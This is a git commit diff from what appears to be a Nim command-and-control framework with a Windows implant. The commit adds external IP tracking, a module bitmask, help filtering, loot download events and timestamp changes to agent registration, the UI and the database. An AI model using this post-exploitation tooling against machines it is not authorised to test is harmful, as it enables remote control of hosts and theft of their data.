Added remote address and modules to agent structure. Help command now only shows commands for which the agent has been configured.
This commit is contained in:
@@ -3,6 +3,6 @@
|
|||||||
-d:release
|
-d:release
|
||||||
--opt:size
|
--opt:size
|
||||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-d:MODULES="255"
|
-d:MODULES="66"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
import winim, os, net, strformat, strutils, registry, zippy
|
import winim, os, net, strformat, strutils, registry, zippy
|
||||||
|
|
||||||
import ../../common/[types, serialize, sequence, crypto, utils]
|
import ../../common/[types, serialize, sequence, crypto, utils]
|
||||||
|
import ../../modules/manager
|
||||||
|
|
||||||
# Hostname/Computername
|
# Hostname/Computername
|
||||||
proc getHostname(): string =
|
proc getHostname(): string =
|
||||||
@@ -217,7 +218,8 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
|||||||
process: string.toBytes(getProcessExe()),
|
process: string.toBytes(getProcessExe()),
|
||||||
pid: cast[uint32](getProcessId()),
|
pid: cast[uint32](getProcessId()),
|
||||||
isElevated: cast[uint8](isElevated()),
|
isElevated: cast[uint8](isElevated()),
|
||||||
sleep: cast[uint32](ctx.sleep)
|
sleep: cast[uint32](ctx.sleep),
|
||||||
|
modules: cast[uint32](MODULES)
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -237,6 +239,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData):
|
|||||||
.add(data.metadata.pid)
|
.add(data.metadata.pid)
|
||||||
.add(data.metadata.isElevated)
|
.add(data.metadata.isElevated)
|
||||||
.add(data.metadata.sleep)
|
.add(data.metadata.sleep)
|
||||||
|
.add(data.metadata.modules)
|
||||||
|
|
||||||
let metadata = packer.pack()
|
let metadata = packer.pack()
|
||||||
packer.reset()
|
packer.reset()
|
||||||
|
|||||||
@@ -129,7 +129,7 @@ proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, time
|
|||||||
Handling console commands
|
Handling console commands
|
||||||
]#
|
]#
|
||||||
proc displayHelp(component: ConsoleComponent) =
|
proc displayHelp(component: ConsoleComponent) =
|
||||||
for module in getModules():
|
for module in getModules(component.agent.modules):
|
||||||
for cmd in module.commands:
|
for cmd in module.commands:
|
||||||
component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}")
|
component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}")
|
||||||
|
|
||||||
@@ -252,7 +252,7 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
|
|||||||
Session information
|
Session information
|
||||||
]#
|
]#
|
||||||
let domain = if component.agent.domain.isEmptyOrWhitespace(): "" else: fmt".{component.agent.domain}"
|
let domain = if component.agent.domain.isEmptyOrWhitespace(): "" else: fmt".{component.agent.domain}"
|
||||||
let sessionInfo = fmt"{component.agent.username}@{component.agent.hostname}{domain} | {component.agent.ip} | {$component.agent.pid}/{component.agent.process}".cstring
|
let sessionInfo = fmt"{component.agent.username}@{component.agent.hostname}{domain} | {component.agent.ipInternal} | {$component.agent.pid}/{component.agent.process}".cstring
|
||||||
igTextColored(GRAY, sessionInfo)
|
igTextColored(GRAY, sessionInfo)
|
||||||
igSameLine(0.0f, 0.0f)
|
igSameLine(0.0f, 0.0f)
|
||||||
|
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ proc AgentModal*(): AgentModalComponent =
|
|||||||
for cmd in module.commands:
|
for cmd in module.commands:
|
||||||
result &= " - " & cmd.name & "\n"
|
result &= " - " & cmd.name & "\n"
|
||||||
proc compareModules(x, y: Module): int =
|
proc compareModules(x, y: Module): int =
|
||||||
return cmp(x.name, y.name)
|
return cmp(x.moduleType, y.moduleType)
|
||||||
|
|
||||||
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
|
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
|
||||||
|
|
||||||
|
|||||||
@@ -59,12 +59,13 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
|||||||
ImGui_TableFlags_SizingStretchSame.int32
|
ImGui_TableFlags_SizingStretchSame.int32
|
||||||
)
|
)
|
||||||
|
|
||||||
let cols: int32 = 11
|
let cols: int32 = 12
|
||||||
if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
|
if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
|
||||||
|
|
||||||
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
|
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Internal", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
|
igTableSetupColumn("External", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
@@ -99,21 +100,23 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
|||||||
if igTableSetColumnIndex(1):
|
if igTableSetColumnIndex(1):
|
||||||
igText(agent.listenerId)
|
igText(agent.listenerId)
|
||||||
if igTableSetColumnIndex(2):
|
if igTableSetColumnIndex(2):
|
||||||
igText(agent.ip)
|
igText(agent.ipInternal)
|
||||||
if igTableSetColumnIndex(3):
|
if igTableSetColumnIndex(3):
|
||||||
igText(agent.username)
|
igText(agent.ipExternal)
|
||||||
if igTableSetColumnIndex(4):
|
if igTableSetColumnIndex(4):
|
||||||
igText(agent.hostname)
|
igText(agent.username)
|
||||||
if igTableSetColumnIndex(5):
|
if igTableSetColumnIndex(5):
|
||||||
igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain)
|
igText(agent.hostname)
|
||||||
if igTableSetColumnIndex(6):
|
if igTableSetColumnIndex(6):
|
||||||
igText(agent.os)
|
igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain)
|
||||||
if igTableSetColumnIndex(7):
|
if igTableSetColumnIndex(7):
|
||||||
igText(agent.process)
|
igText(agent.os)
|
||||||
if igTableSetColumnIndex(8):
|
if igTableSetColumnIndex(8):
|
||||||
igText($agent.pid)
|
igText(agent.process)
|
||||||
if igTableSetColumnIndex(9):
|
if igTableSetColumnIndex(9):
|
||||||
let duration = now() - agent.firstCheckin.fromUnix().utc()
|
igText($agent.pid)
|
||||||
|
if igTableSetColumnIndex(10):
|
||||||
|
let duration = now() - agent.firstCheckin.fromUnix().local()
|
||||||
let totalSeconds = duration.inSeconds
|
let totalSeconds = duration.inSeconds
|
||||||
|
|
||||||
let hours = totalSeconds div 3600
|
let hours = totalSeconds div 3600
|
||||||
@@ -123,8 +126,8 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
|||||||
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
|
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
|
||||||
igText(fmt"{timeText} ago")
|
igText(fmt"{timeText} ago")
|
||||||
|
|
||||||
if igTableSetColumnIndex(10):
|
if igTableSetColumnIndex(11):
|
||||||
let duration = now() - component.agentActivity[agent.agentId].fromUnix().utc()
|
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
|
||||||
let totalSeconds = duration.inSeconds
|
let totalSeconds = duration.inSeconds
|
||||||
|
|
||||||
let hours = totalSeconds div 3600
|
let hours = totalSeconds div 3600
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
import tables
|
import tables
|
||||||
import times
|
|
||||||
import parsetoml, json
|
import parsetoml, json
|
||||||
import system
|
import system
|
||||||
import mummy
|
import mummy
|
||||||
@@ -179,6 +178,7 @@ type
|
|||||||
pid*: uint32
|
pid*: uint32
|
||||||
isElevated*: uint8
|
isElevated*: uint8
|
||||||
sleep*: uint32
|
sleep*: uint32
|
||||||
|
modules*: uint32
|
||||||
|
|
||||||
AgentRegistrationData* = object
|
AgentRegistrationData* = object
|
||||||
header*: Header
|
header*: Header
|
||||||
@@ -193,15 +193,17 @@ type
|
|||||||
username*: string
|
username*: string
|
||||||
hostname*: string
|
hostname*: string
|
||||||
domain*: string
|
domain*: string
|
||||||
ip*: string
|
ipInternal*: string
|
||||||
|
ipExternal*: string
|
||||||
os*: string
|
os*: string
|
||||||
process*: string
|
process*: string
|
||||||
pid*: int
|
pid*: int
|
||||||
elevated*: bool
|
elevated*: bool
|
||||||
sleep*: int
|
sleep*: int
|
||||||
tasks*: seq[Task]
|
tasks*: seq[Task]
|
||||||
firstCheckin*: DateTime
|
modules*: uint32
|
||||||
latestCheckin*: DateTime
|
firstCheckin*: int64
|
||||||
|
latestCheckin*: int64
|
||||||
sessionKey*: Key
|
sessionKey*: Key
|
||||||
|
|
||||||
# Session entry for client UI
|
# Session entry for client UI
|
||||||
@@ -211,12 +213,14 @@ type
|
|||||||
username*: string
|
username*: string
|
||||||
hostname*: string
|
hostname*: string
|
||||||
domain*: string
|
domain*: string
|
||||||
ip*: string
|
ipInternal*: string
|
||||||
|
ipExternal*: string
|
||||||
os*: string
|
os*: string
|
||||||
process*: string
|
process*: string
|
||||||
pid*: int
|
pid*: int
|
||||||
elevated*: bool
|
elevated*: bool
|
||||||
sleep*: int
|
sleep*: int
|
||||||
|
modules*: uint32
|
||||||
firstCheckin*: int64
|
firstCheckin*: int64
|
||||||
latestCheckin*: int64
|
latestCheckin*: int64
|
||||||
|
|
||||||
@@ -259,7 +263,8 @@ type
|
|||||||
CLIENT_AGENT_CHECKIN = 103'u8 # Update agent checkin
|
CLIENT_AGENT_CHECKIN = 103'u8 # Update agent checkin
|
||||||
CLIENT_AGENT_PAYLOAD = 104'u8 # Return agent payload binary
|
CLIENT_AGENT_PAYLOAD = 104'u8 # Return agent payload binary
|
||||||
CLIENT_CONSOLE_ITEM = 105'u8 # Add entry to a agent's console
|
CLIENT_CONSOLE_ITEM = 105'u8 # Add entry to a agent's console
|
||||||
CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog
|
CLIENT_EVENTLOG_ITEM = 106'u8 # Add entry to the eventlog
|
||||||
|
CLIENT_LOOT = 107'u8 # Download file or screenshot to the operator desktop
|
||||||
|
|
||||||
Event* = object
|
Event* = object
|
||||||
eventType*: EventType
|
eventType*: EventType
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import tables, strformat
|
import tables, strformat
|
||||||
import ../common/types
|
import ../common/types
|
||||||
|
|
||||||
const MODULES {.intdefine.} = 0
|
const MODULES* {.intdefine.} = 0
|
||||||
|
|
||||||
type
|
type
|
||||||
ModuleManager* = object
|
ModuleManager* = object
|
||||||
@@ -75,5 +75,10 @@ proc getCommandByName*(cmdName: string): Command =
|
|||||||
proc getAvailableCommands*(): Table[string, Command] =
|
proc getAvailableCommands*(): Table[string, Command] =
|
||||||
return manager.commandsByName
|
return manager.commandsByName
|
||||||
|
|
||||||
proc getModules*(): seq[Module] =
|
proc getModules*(modules: uint32 = 0): seq[Module] =
|
||||||
return manager.modules
|
if modules == 0:
|
||||||
|
return manager.modules
|
||||||
|
else:
|
||||||
|
for m in manager.modules:
|
||||||
|
if (modules and cast[uint32](m.moduleType)) == cast[uint32](m.moduleType):
|
||||||
|
result.add(m)
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import terminal, strformat, strutils, sequtils, tables, times, system, std/[dirs, paths]
|
import terminal, strformat, strutils, sequtils, tables, system, std/[dirs, paths]
|
||||||
|
|
||||||
import ../globals
|
import ../globals
|
||||||
import ../db/database
|
import ../db/database
|
||||||
@@ -11,17 +11,17 @@ import ../../common/[types, utils, serialize]
|
|||||||
Agent API
|
Agent API
|
||||||
Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results
|
Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results
|
||||||
]#
|
]#
|
||||||
proc register*(registrationData: seq[byte]): bool =
|
proc register*(registrationData: seq[byte], remoteAddress: string): bool =
|
||||||
|
|
||||||
# The following line is required to be able to use the `cq` global variable for console output
|
# The following line is required to be able to use the `cq` global variable for console output
|
||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
try:
|
try:
|
||||||
let agent: Agent = cq.deserializeNewAgent(registrationData)
|
let agent: Agent = cq.deserializeNewAgent(registrationData, remoteAddress)
|
||||||
|
|
||||||
# Validate that listener exists
|
# Validate that listener exists
|
||||||
if not cq.dbListenerExists(agent.listenerId.toUpperAscii):
|
if not cq.dbListenerExists(agent.listenerId.toUpperAscii):
|
||||||
raise newException(CatchableError, fmt"{agent.ip} attempted to register to non-existent listener: {agent.listenerId}." & "\n")
|
raise newException(CatchableError, fmt"{agent.ipInternal} attempted to register to non-existent listener: {agent.listenerId}." & "\n")
|
||||||
|
|
||||||
# Store agent in database
|
# Store agent in database
|
||||||
if not cq.dbStoreAgent(agent):
|
if not cq.dbStoreAgent(agent):
|
||||||
@@ -67,7 +67,7 @@ proc getTasks*(heartbeat: seq[byte]): tuple[agentId: string, tasks: seq[seq[byte
|
|||||||
raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n")
|
raise newException(ValueError, fmt"Task-retrieval request made to non-existent agent: {agentId}." & "\n")
|
||||||
|
|
||||||
# Update the last check-in date for the accessed agent
|
# Update the last check-in date for the accessed agent
|
||||||
cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local()
|
cq.agents[agentId].latestCheckin = cast[int64](timestamp)
|
||||||
cq.client.sendAgentCheckin(agentId)
|
cq.client.sendAgentCheckin(agentId)
|
||||||
|
|
||||||
# Return tasks
|
# Return tasks
|
||||||
@@ -133,6 +133,7 @@ proc handleResult*(resultData: seq[byte]) =
|
|||||||
writeFile(downloadPath, fileBytes)
|
writeFile(downloadPath, fileBytes)
|
||||||
|
|
||||||
cq.success(fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).", "\n")
|
cq.success(fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).", "\n")
|
||||||
|
cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).")
|
||||||
|
|
||||||
of RESULT_NO_OUTPUT:
|
of RESULT_NO_OUTPUT:
|
||||||
cq.output()
|
cq.output()
|
||||||
|
|||||||
@@ -138,7 +138,7 @@ proc httpPost*(request: Request) =
|
|||||||
headers.add((header, value.getStringValue()))
|
headers.add((header, value.getStringValue()))
|
||||||
|
|
||||||
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
||||||
if not register(string.toBytes(request.body)):
|
if not register(string.toBytes(request.body), request.remoteAddress):
|
||||||
request.respond(400, body = "")
|
request.respond(400, body = "")
|
||||||
return
|
return
|
||||||
|
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco
|
|||||||
for httpMethod in postMethods:
|
for httpMethod in postMethods:
|
||||||
router.addRoute(httpMethod, endpoint.getStringValue(), routes.httpPost)
|
router.addRoute(httpMethod, endpoint.getStringValue(), routes.httpPost)
|
||||||
|
|
||||||
let server = newServer(router.toHandler())
|
let server = newServer(router.toHandler(), maxBodyLen = 1024 * 1024 * 1024)
|
||||||
|
|
||||||
# Store listener in database
|
# Store listener in database
|
||||||
var listener = Listener(
|
var listener = Listener(
|
||||||
|
|||||||
@@ -29,12 +29,14 @@ proc dbInit*(cq: Conquest) =
|
|||||||
username TEXT NOT NULL,
|
username TEXT NOT NULL,
|
||||||
hostname TEXT NOT NULL,
|
hostname TEXT NOT NULL,
|
||||||
domain TEXT NOT NULL,
|
domain TEXT NOT NULL,
|
||||||
ip TEXT NOT NULL,
|
ipInternal TEXT NOT NULL,
|
||||||
|
ipExternal TEXT NOT NULL,
|
||||||
os TEXT NOT NULL,
|
os TEXT NOT NULL,
|
||||||
elevated BOOLEAN NOT NULL,
|
elevated BOOLEAN NOT NULL,
|
||||||
sleep INTEGER DEFAULT 10,
|
sleep INTEGER NOT NULL,
|
||||||
firstCheckin DATETIME NOT NULL,
|
modules INTEGER NOT NULL,
|
||||||
latestCheckin DATETIME NOT NULL,
|
firstCheckin INTEGER NOT NULL,
|
||||||
|
latestCheckin INTEGER NOT NULL,
|
||||||
sessionKey BLOB NOT NULL
|
sessionKey BLOB NOT NULL
|
||||||
);
|
);
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import system, terminal, tiny_sqlite, times, sequtils
|
import system, terminal, tiny_sqlite, sequtils
|
||||||
|
|
||||||
import ../core/logger
|
import ../core/logger
|
||||||
import ../../common/types
|
import ../../common/types
|
||||||
@@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
|
|||||||
let sessionKeyBlob = agent.sessionKey.toSeq()
|
let sessionKeyBlob = agent.sessionKey.toSeq()
|
||||||
|
|
||||||
conquestDb.exec("""
|
conquestDb.exec("""
|
||||||
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, firstCheckin, latestCheckin, sessionKey)
|
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
||||||
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss"), sessionKeyBlob)
|
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
|
||||||
|
|
||||||
conquestDb.close()
|
conquestDb.close()
|
||||||
except:
|
except:
|
||||||
@@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
|||||||
try:
|
try:
|
||||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||||
|
|
||||||
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKey FROM agents;"):
|
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
|
||||||
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, bool, string, string, seq[byte]))
|
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
||||||
|
|
||||||
# Convert session key blob back to array
|
# Convert session key blob back to array
|
||||||
var sessionKey: Key
|
var sessionKey: Key
|
||||||
@@ -51,12 +51,14 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
|||||||
username: username,
|
username: username,
|
||||||
hostname: hostname,
|
hostname: hostname,
|
||||||
domain: domain,
|
domain: domain,
|
||||||
ip: ip,
|
ipInternal: ipInternal,
|
||||||
|
ipExternal: ipExternal,
|
||||||
os: os,
|
os: os,
|
||||||
elevated: elevated,
|
elevated: elevated,
|
||||||
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"),
|
firstCheckin: cast[int64](firstCheckin),
|
||||||
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"),
|
latestCheckin: cast[int64](firstCheckin),
|
||||||
process: process,
|
process: process,
|
||||||
|
modules: cast[uint32](modules),
|
||||||
sessionKey: sessionKey,
|
sessionKey: sessionKey,
|
||||||
tasks: @[] # Initialize empty tasks
|
tasks: @[] # Initialize empty tasks
|
||||||
)
|
)
|
||||||
@@ -75,14 +77,15 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
|
|||||||
try:
|
try:
|
||||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||||
|
|
||||||
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listener = ?;", listenerName):
|
for row in conquestDb.iterate("SELECT name, listener, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listener = ?;", listenerName):
|
||||||
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, bool, string, string, seq[byte]))
|
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
||||||
|
|
||||||
# Convert session key blob back to array
|
# Convert session key blob back to array
|
||||||
var sessionKey: Key
|
var sessionKey: Key
|
||||||
if sessionKeyBlob.len == 32:
|
if sessionKeyBlob.len == 32:
|
||||||
copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32)
|
copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32)
|
||||||
else:
|
else:
|
||||||
|
# Handle invalid session key - log error but continue
|
||||||
cq.warning("Invalid session key length for agent: ", agentId)
|
cq.warning("Invalid session key length for agent: ", agentId)
|
||||||
|
|
||||||
let a = Agent(
|
let a = Agent(
|
||||||
@@ -93,18 +96,18 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
|
|||||||
username: username,
|
username: username,
|
||||||
hostname: hostname,
|
hostname: hostname,
